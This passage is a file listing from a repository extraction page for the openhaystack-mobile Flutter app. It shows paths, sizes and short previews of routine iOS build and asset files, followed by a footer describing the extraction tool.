"preview": "include ':app'\n\ndef localPropertiesFile = new File(rootProject.projectDir, \"local.properties\")\ndef properties = new Prop"
},
{
"path": "openhaystack-mobile/ios/.gitignore",
"chars": 569,
"preview": "**/dgph\n*.mode1v3\n*.mode2v3\n*.moved-aside\n*.pbxuser\n*.perspectivev3\n**/*sync/\n.sconsign.dblite\n.tags*\n**/.vagrant/\n**/De"
},
{
"path": "openhaystack-mobile/ios/Flutter/AppFrameworkInfo.plist",
"chars": 773,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "openhaystack-mobile/ios/Flutter/Debug.xcconfig",
"chars": 107,
"preview": "#include? \"Pods/Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig\"\n#include \"Generated.xcconfig\"\n"
},
{
"path": "openhaystack-mobile/ios/Flutter/Release.xcconfig",
"chars": 109,
"preview": "#include? \"Pods/Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig\"\n#include \"Generated.xcconfig\"\n"
},
{
"path": "openhaystack-mobile/ios/Podfile",
"chars": 1354,
"preview": "# Uncomment this line to define a global platform for your project\n# platform :ios, '9.0'\n\n# CocoaPods analytics sends n"
},
{
"path": "openhaystack-mobile/ios/Runner/AppDelegate.swift",
"chars": 404,
"preview": "import UIKit\nimport Flutter\n\n@UIApplicationMain\n@objc class AppDelegate: FlutterAppDelegate {\n override func applicatio"
},
{
"path": "openhaystack-mobile/ios/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json",
"chars": 2519,
"preview": "{\n \"images\" : [\n {\n \"size\" : \"20x20\",\n \"idiom\" : \"iphone\",\n \"filename\" : \"Icon-App-20x20@2x.png\",\n "
},
{
"path": "openhaystack-mobile/ios/Runner/Assets.xcassets/LaunchImage.imageset/Contents.json",
"chars": 391,
"preview": "{\n \"images\" : [\n {\n \"idiom\" : \"universal\",\n \"filename\" : \"LaunchImage.png\",\n \"scale\" : \"1x\"\n },\n "
},
{
"path": "openhaystack-mobile/ios/Runner/Assets.xcassets/LaunchImage.imageset/README.md",
"chars": 336,
"preview": "# Launch Screen Assets\n\nYou can customize the launch screen with your own desired assets by replacing the image files in"
},
{
"path": "openhaystack-mobile/ios/Runner/Base.lproj/LaunchScreen.storyboard",
"chars": 2377,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard"
},
{
"path": "openhaystack-mobile/ios/Runner/Base.lproj/Main.storyboard",
"chars": 1605,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard"
},
{
"path": "openhaystack-mobile/ios/Runner/Info.plist",
"chars": 1961,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "openhaystack-mobile/ios/Runner/Runner-Bridging-Header.h",
"chars": 38,
"preview": "#import \"GeneratedPluginRegistrant.h\"\n"
},
{
"path": "openhaystack-mobile/ios/Runner/Runner.entitlements",
"chars": 309,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "openhaystack-mobile/ios/Runner.xcodeproj/project.pbxproj",
"chars": 32145,
"preview": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 51;\n\tobjects = {\n\n/* Begin PBXBuildFile section *"
},
{
"path": "openhaystack-mobile/ios/Runner.xcodeproj/project.xcworkspace/contents.xcworkspacedata",
"chars": 135,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Workspace\n version = \"1.0\">\n <FileRef\n location = \"self:\">\n </FileRef"
},
{
"path": "openhaystack-mobile/ios/Runner.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist",
"chars": 238,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
}
]
// ... and 111 more files (download for full content)
About this extraction
This page contains the full source code of the seemoo-lab/openhaystack GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 311 files (2.1 MB), approximately 557.5k tokens, and a symbol index with 253 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.